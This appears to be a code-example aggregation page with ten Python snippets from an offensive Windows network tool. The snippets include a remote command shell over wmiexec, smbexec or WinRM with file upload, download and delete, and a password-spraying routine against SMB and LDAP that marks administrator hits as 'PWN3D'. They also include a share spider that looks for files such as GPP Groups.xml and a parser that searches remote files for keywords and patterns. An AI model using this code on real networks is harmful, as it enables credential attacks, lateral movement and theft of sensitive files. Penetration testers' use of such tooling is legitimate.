Esempio n. 1
0
    def __init__(self, args, db_obj, loggers):
        Connector.__init__(self, args, loggers, args.target)
        self.output = []
        self.pwd_list = ['C:', 'Windows', 'System32']
        self.pwd = '\\'.join(self.pwd_list)

        self.exec_method = args.exec_method
        self.sharename = args.fileless_sharename
        self.db = db_obj

        try:
            # Setup Smb Connection
            self.logger.status('Initiating remote connection')
            self.smbcon = SmbCon(self.args, loggers, self.host, self.db)
            self.smbcon.create_smb_con()

            # Execute command to verify permissions
            self.cmd_execution('ECHO %USERDOMAIN%\%USERNAME%')
            self.logger.success(
                'Starting emulated shell (Host: {}) (User: {}) (Method: {}) (Fileless: {})'
                .format(self.host, self.output[0].strip(), self.exec_method,
                        str(args.fileless)))
            self.logger.warning(
                "This is a limited shell and requires full paths for file interactions\n"
            )

        except Exception as e:
            self.logger.fail("Error Starting Shell:".format(str(e)))
            exit(1)
Esempio n. 2
0
def login(args, loggers, host, db, lockout_obj):
    try:
        con = SmbCon(args, loggers, host, db)
        con.create_smb_con()
        return con
    except Exception as e:
        lockout_obj.failed_login(host, str(e))
        return False
Esempio n. 3
0
class SearchThread(threading.Thread):
    ''' Recursively scan directories, adding
    files to queue to be parsed for data'''
    def __init__(self, args, config, loggers, db, target, share):
        threading.Thread.__init__(self)
        self.file_queue = []
        self.timeout = args.timeout
        self.target = target
        self.share = share
        self.max_depth = args.max_depth
        self.start_path = args.start_path
        self.whitelist_ext = config.WHITELIST_EXT
        self.blacklist_dir = config.BLACKLIST_DIR

        self.smbcon = SmbCon(args, loggers, target, db)
        self.smbcon.create_smb_con()

    def run(self):
        self.recursion(self.start_path)
        self.smbcon.close()
        del self.smbcon

    def recursion(self, path):
        try:
            for x in self.smbcon.list_path(self.share, path + "*"):
                #encoding depending on SMBv1 con or not
                try:
                    filename = x.get_longname().decode('UTF-8')
                except:
                    filename = x.get_longname()

                if filename not in ['.', '..']:
                    # If DIR, use recursion to keep searching until max depth hit
                    if x.is_directory() and path.count("/") <= self.max_depth:
                        full_path = path + filename + "/"
                        # Verify not on blacklist
                        if full_path not in self.blacklist_dir:
                            self.recursion(full_path)

                    # Check for valid file ext before adding to queue
                    elif filename.split('.')[-1].lower() in self.whitelist_ext:
                        #else add to file queue to be scanned
                        tmp = {
                            'ip': self.smbcon.ip,
                            'host': self.smbcon.host,
                            'share': self.share,
                            'path': path,
                            'filename': filename
                        }
                        self.file_queue.append(tmp)
                        del tmp
        except:
            pass
Esempio n. 4
0
    def __init__(self, args, config, loggers, db, target, share):
        threading.Thread.__init__(self)
        self.file_queue = []
        self.timeout = args.timeout
        self.target = target
        self.share = share
        self.max_depth = args.max_depth
        self.start_path = args.start_path
        self.whitelist_ext = config.WHITELIST_EXT
        self.blacklist_dir = config.BLACKLIST_DIR

        self.smbcon = SmbCon(args, loggers, target, db)
        self.smbcon.create_smb_con()
Esempio n. 5
0
def smb_login(args, loggers, host, db, lockout_obj, config_obj):
    status = ''
    smb = SmbCon(args, loggers, host, db)
    if smb.smb_connection():
        smb.host_info()
        try:
            smb.login()
            if smb.admin:
                status = "({})".format(
                    highlight(config_obj.PWN3D_MSG, 'yellow'))
            elif smb.auth and args.user:
                status = "({})".format(highlight('Success', 'green'))
        except Exception as e:
            e = str(e).lower()
            lockout_obj.failed_login(host, str(e).lower())
            if "password_expired" in e:
                status = "({})".format(highlight('Password_Expired', 'yellow'))
            elif "logon_failure" in e:
                lockout_obj.add_attempt()
                status = "({})".format(highlight('Failed', 'red'))
            elif "account_disabled" in e:
                status = "({})".format(highlight('Account_Disabled', 'red'))
        loggers['console'].info([
            smb.host, smb.ip, "ENUM", "{} {} ".format(smb.os, smb.os_arch),
            "(Domain: {})".format(smb.srvdomain),
            "(Signing: {})".format(str(smb.signing)),
            "(SMBv1: {})".format(str(smb.smbv1)), status
        ])
        return smb
    else:
        raise Exception('Connection to Server Failed')
Esempio n. 6
0
    def __init__(self, args, config, loggers, db, target, share):
        threading.Thread.__init__(self)
        self.file_queue     = []
        self.timeout        = args.timeout
        self.target         = target
        self.share          = share
        self.max_depth      = args.max_depth
        self.start_path     = args.start_path
        self.whitelist_ext  = config.WHITELIST_EXT
        self.blacklist_dir  = config.BLACKLIST_DIR
        self.loggers        = loggers

        self.smbcon = SmbCon(args, loggers, target, db)
        self.smbcon.create_smb_con()

        # Show kickoff messages on startup, if not args.spider startup is called from a module
        if args.spider:
            loggers['console'].info([self.smbcon.host, self.smbcon.ip, "SPIDER", "Scanning \\\\{}\\{}{}".format(target, share, args.start_path.replace("/", "\\"))])
        loggers['spider'].info("Spider\t\\\\{}\\{}{}".format(target, share, args.start_path.replace("/", "\\")))
Esempio n. 7
0
def spray(auth_args, loggers, db_obj, config_obj, target, user, passwd):
    if auth_args.user_as_pass:   passwd = user
    elif auth_args.hash:         passwd = ''

    try:
        if auth_args.method.lower() == "ldap":
            con = LdapCon(auth_args, loggers, target, db_obj)
            con.create_ldap_con()

        elif auth_args.method.lower() == 'smb':
            con = SmbCon(auth_args, loggers, target, db_obj)
            con.create_smb_con()

        if auth_args.hash: passwd = auth_args.hash
        if hasattr(con, 'admin')and con.admin == True:
            loggers['console'].success([con.host, con.ip, auth_args.method.upper(), '{}\\{:<20} {:<15} {}'.format(con.domain, user, passwd, highlight(config_obj.PWN3D_MSG, 'yellow'))])
        else:
            loggers['console'].success([con.host, con.ip, auth_args.method.upper(),'{}\\{:<20} {:<15} {}'.format(con.domain, user, passwd, highlight("SUCCESS", "green"))])
        loggers[auth_args.mode].info("Spray\t{}\t{}\\{}\t{}\tSuccess".format(target, auth_args.domain, user, passwd))
        con.close()

    except KeyboardInterrupt:
        print("\n[!] Key Event Detected, Closing...")
        try:
            con.close()
        except:
            pass
        _exit(0)

    except Exception as e:
        # Overwrite pwd value for output
        if auth_args.hash: passwd = auth_args.hash

        if "password has expired" in str(e).lower():
            loggers['console'].success2([target, target, auth_args.method.upper(), '{}\\{:<20} {:<15} {}'.format(auth_args.domain, user, passwd, highlight("PASSWORD EXPIRED", color='yellow'))])
            loggers[auth_args.mode].info("Spray\t{}\t{}\\{}\t{}\tPassword Expired".format(target, auth_args.domain, user, passwd))

        elif "account_locked_out" in str(e).lower():
            loggers['console'].warning([target, target, auth_args.method.upper(), '{}\\{:<20} {:<15} {}'.format(auth_args.domain, user, passwd, highlight("ACCOUNT LOCKED", color='red'))])
            loggers[auth_args.mode].info("Spray\t{}\t{}\\{}\t{}\tAccount Locked".format(target, auth_args.domain, user, passwd))
            exit(1)

        elif str(e) == "Connection to Server Failed":
            loggers['console'].verbose([target, target, auth_args.method.upper(), '{}\\{:<20} {:<15} {}'.format(auth_args.domain, user, passwd, highlight("CONNECTION ERROR", color='red'))])
            loggers[auth_args.mode].info("Spray\t{}\t{}\\{}\t{}\tConnection Error".format(target, auth_args.domain, user, passwd))

        elif "status_logon_failure" in str(e).lower() or "invalidCredentials" in str(e).lower():
            loggers['console'].verbose([target, target, auth_args.method.upper(), '{}\\{:<20} {:<15} {}'.format(auth_args.domain, user, passwd, highlight("FAILED", color='red'))])
            loggers[auth_args.mode].info("Spray\t{}\t{}\\{}\t{}\tLogin Failed".format(target, auth_args.domain, user, passwd))

        else:
            loggers['console'].debug([target, target, auth_args.method.upper(), '{}\\{:<20} {:<15} {}'.format(auth_args.domain, user, passwd, highlight(str(e), color='red'))])
            loggers[auth_args.mode].info("Spray\t{}\t{}\\{}\t{}\t{}".format(target, auth_args.domain, user, passwd, str(e)))
    sleep(auth_args.jitter)
    del auth_args
Esempio n. 8
0
class AR3Shell(Connector):
    def __init__(self, args, db_obj, loggers):
        Connector.__init__(self, args, loggers, args.target)
        self.output = []
        self.pwd_list = ['C:', 'Windows', 'System32']
        self.pwd = '\\'.join(self.pwd_list)

        self.exec_method = args.exec_method
        self.sharename = args.fileless_sharename
        self.db = db_obj

        try:
            # Setup Smb Connection
            self.logger.status('Initiating remote connection')
            self.smbcon = SmbCon(self.args, loggers, self.host, self.db)
            self.smbcon.create_smb_con()

            # Execute command to verify permissions
            self.cmd_execution('ECHO %USERDOMAIN%\%USERNAME%')
            self.logger.success(
                'Starting emulated shell (Host: {}) (User: {}) (Method: {}) (Fileless: {})'
                .format(self.host, self.output[0].strip(), self.exec_method,
                        str(args.fileless)))
            self.logger.warning(
                "This is a limited shell and requires full paths for file interactions\n"
            )

        except Exception as e:
            self.logger.fail("Error Starting Shell:".format(str(e)))
            exit(1)

    def help(self):
        print("""
          help                                    - show this menu
          exit                                    - Close shell
        
        Navigation:
          pwd                                   - Show PWD
          dir                                   - List PWD
          cd                                    - Change directory
          
        File Interactions:
          type [remote_file]                    - Show file contents    (Full Path Required)
          download [remote_file] [location]     - Download remote file  (Full Path Required)
          upload [local_file] [location]        - Upload local file     (Full Path Required)
          delete [remote_file]                  - Delete remote file    (Full Path Required)
          
        Commands:
          [cmd]                                 - Execute remote cmd
        """)

    def cd(self, cmd):
        if cmd.startswith('cd'):
            try:
                cd_path = cmd.split(' ')[1]
                cd_split = cd_path.replace("\\",
                                           "/").split("/")  # Input formatting
                cd_split = [x for x in cd_split if x]  # Remove blanks

                if cd_path == "/" or cd_path == "\\":
                    self.pwd_list = ['C:']

                # Dir up
                elif cd_split[0] == "..":
                    self.pwd_list.pop(-1)
                    cd_split.pop(cd_split.index(".."))

                # new dir
                elif cd_path.startswith(("/", "\\")):
                    self.pwd_list = ['C:']

                self.pwd_list = self.pwd_list + cd_split

            except:
                self.logger.FAIL('Unable to change directories')

    def dir(self, cmd):
        if cmd == "dir":
            return self.cmd_execution("dir {}".format(self.pwd))
        else:
            return self.cmd_execution(cmd)

    def download(self, cmd):
        try:
            val = cmd.split(" ")
            self.smbcon.downloadFile(val[1], val[2])
            self.logger.success("Download Complete: {}".format(val[2]))
        except Exception as e:
            if str(e) == "list index out of range":
                self.logger.fail(
                    'Not enough values to unpack, see -h for more')
            else:
                self.logger.fail("Download Failed: {}".format(str(e)))

    def upload(self, cmd):
        try:
            val = cmd.split(" ")
            self.smbcon.uploadFile(val[1], val[2])
            self.logger.success("Upload Complete: {}".format(val[2]))
        except Exception as e:
            if str(e) == "list index out of range":
                self.logger.fail(
                    'Not enough values to unpack, see -h for more')
            else:
                self.logger.fail("Upload Failed: {}".format(str(e)))

    def delete(self, cmd):
        try:
            val = cmd.split(" ")
            self.smbcon.deleteFile(val[1])
            self.logger.success("Download Complete: {}".format(val[1]))
        except Exception as e:
            if str(e) == "list index out of range":
                self.logger.fail(
                    'Not enough values to unpack, see -h for more')
            else:
                self.logger.fail("Deletion Failed: {}".format(str(e)))

    def cmd_execution(self, cmd):
        self.filer.info("Command Execution\t{}\t{}\\{}\t{}".format(
            self.host, self.smbcon.ip, self.username, cmd))
        if self.exec_method.lower() == 'wmiexec':
            self.executioner = WMIEXEC(self.logger,
                                       self.host,
                                       self.args,
                                       self.smbcon,
                                       share_name=self.sharename)

        elif self.exec_method.lower() == 'smbexec':
            self.executioner = SMBEXEC(self.logger,
                                       self.host,
                                       self.args,
                                       self.smbcon,
                                       share_name=self.sharename)

        elif self.exec_method.lower() == 'winrm':
            self.executioner = WINRM(self.logger, self.host, self.args,
                                     self.smbcon)

        self.output = self.executioner.execute(cmd).splitlines()

    def cmdloop(self):
        while True:
            try:
                # init prompt
                self.output = []
                self.pwd = '\\'.join(self.pwd_list)
                cmd = input("{}> ".format(self.pwd))
                cmd = cmd.lstrip().rstrip()

                self.logger.debug("User cmd ::: \'{}\'".format(cmd))

                # Handle CMD input
                if cmd == "help":
                    self.help()

                elif cmd == 'exit':
                    try:
                        self.smbcon.close()
                    except:
                        pass
                    return True

                elif cmd.startswith('cd'):
                    self.cd(cmd)

                elif cmd.startswith('dir'):
                    self.dir(cmd)

                elif cmd.startswith('download'):
                    self.download(cmd)

                elif cmd.startswith('upload'):
                    self.upload(cmd)

                elif cmd.startswith('delete'):
                    self.delete(cmd)

                elif cmd == 'pwd':
                    self.logger.output(self.pwd)

                else:
                    self.cmd_execution(cmd)

                # Show cmd Output
                for result in self.output:
                    self.logger.output(result)

            except KeyboardInterrupt:
                try:
                    self.smbcon.close()
                except:
                    pass
                return True
            except Exception as e:
                self.logger.debug(str(e))
Esempio n. 9
0
    def parse(self, server, share, path, filename):
        while self._running:
            # File Extension
            ext = file_extension(filename)
            if ext in self.ext:
                self.reporter('Extension', ext, '', '')
                return

            # Key Word in filename
            keyword = self.keyword_search(filename)
            if keyword in self.keywords:
                self.reporter('Keyword', keyword, '', '')
                return

            # Parse File Contents
            if not self.filename_only:
                ## Parse Excel (Uses pysmb, not hash auth)
                if ext == 'xlsx' and not self.hash:
                    # Create SMB connection using pysmb
                    con = smb_connect(server, self.user, self.passwd,
                                      self.domain, self.timeout)

                    result = parse_xlsx(self.xlsx_keywords, self.regex,
                                        self.max_size, self.max_chars,
                                        self.timeout, con, share, path,
                                        filename)
                    if result:
                        self.reporter(result['Parser'],
                                      result['ParserDetails'],
                                      result['LineCount'],
                                      result['LineSample'])
                        con.close()
                        return
                    con.close()

                ## Parse Word Docs (Uses pysmb, not hash auth)
                elif ext == 'docx' and not self.hash:
                    # Create SMB connection using pysmb
                    con = smb_connect(server, self.user, self.passwd,
                                      self.domain, self.timeout)

                    result = parse_docx(self.regex, self.max_chars,
                                        self.max_size, self.timeout, con,
                                        share, path, filename)
                    if result:
                        self.reporter(result['Parser'],
                                      result['ParserDetails'],
                                      result['LineCount'],
                                      result['LineSample'])
                        con.close()
                        return
                    con.close()

                ## Parse All other file types
                else:
                    # Create SMB connection using Impacket
                    smb_obj = SmbCon(self.args, self.loggers, server, self.db)
                    smb_obj.create_smb_con()

                    try:
                        reader = RemoteFile(smb_obj.con,
                                            path + filename,
                                            share,
                                            access=FILE_READ_DATA)
                        reader.open()
                        contents = reader.read(self.max_size)
                    except:
                        self.logger.debug(
                            "Failed to open file: {}".format(path + filename))
                        return

                    # Pass Contents to parser
                    result = parse_data(contents, self.regex, self.max_chars,
                                        filename)
                    if result:
                        self.reporter(result['Parser'],
                                      result['ParserDetails'],
                                      result['LineCount'],
                                      result['LineSample'])

                    # Close open reader object
                    reader.close()
                    del (reader)
                    smb_obj.close()
            return
Esempio n. 10
0
class SearchThread(threading.Thread):
    ''' Recursively scan directories, adding
    files to queue to be parsed for data'''

    def __init__(self, args, config, loggers, db, target, share):
        threading.Thread.__init__(self)
        self.file_queue     = []
        self.timeout        = args.timeout
        self.target         = target
        self.share          = share
        self.max_depth      = args.max_depth
        self.start_path     = args.start_path
        self.whitelist_ext  = config.WHITELIST_EXT
        self.blacklist_dir  = config.BLACKLIST_DIR
        self.loggers        = loggers

        self.smbcon = SmbCon(args, loggers, target, db)
        self.smbcon.create_smb_con()

        # Show kickoff messages on startup, if not args.spider startup is called from a module
        if args.spider:
            loggers['console'].info([self.smbcon.host, self.smbcon.ip, "SPIDER", "Scanning \\\\{}\\{}{}".format(target, share, args.start_path.replace("/", "\\"))])
        loggers['spider'].info("Spider\t\\\\{}\\{}{}".format(target, share, args.start_path.replace("/", "\\")))

    def run(self):
        self.recursion(self.start_path)
        self.smbcon.close()
        del self.smbcon

    def recursion(self, path):
        try:
            for x in self.smbcon.list_path(self.share, path+"*"):
                #encoding depending on SMBv1 con or not
                try:
                    filename = x.get_longname().decode('UTF-8')
                except:
                    filename = x.get_longname()

                # Quick fix for gpp passwords on 2019 DC's @TODO create perm fix
                if filename.lower() == "groups":
                    filename = "Groups.xml"

                if filename not in ['.','..']:
                    # If DIR, use recursion to keep searching until max depth hit
                    if x.is_directory() and path.count("/") <= self.max_depth:
                        full_path = path + filename + "/"
                        # Verify not on blacklist
                        if full_path not in self.blacklist_dir:
                            self.loggers['console'].debug("Spider-DIR: {}".format(full_path))
                            self.recursion(full_path)

                    # Check for valid file ext before adding to queue
                    elif filename.split('.')[-1].lower() in self.whitelist_ext:
                        #else add to file queue to be scanned
                        tmp = {
                            'ip'       : self.smbcon.ip,
                            'host'     : self.smbcon.host,
                            'share'    : self.share,
                            'path'     : path,
                            'filename' : filename
                        }
                        self.loggers['console'].debug("Spider-File: {}".format(tmp['filename']))
                        self.file_queue.append(tmp)
                        del tmp
        except:
            pass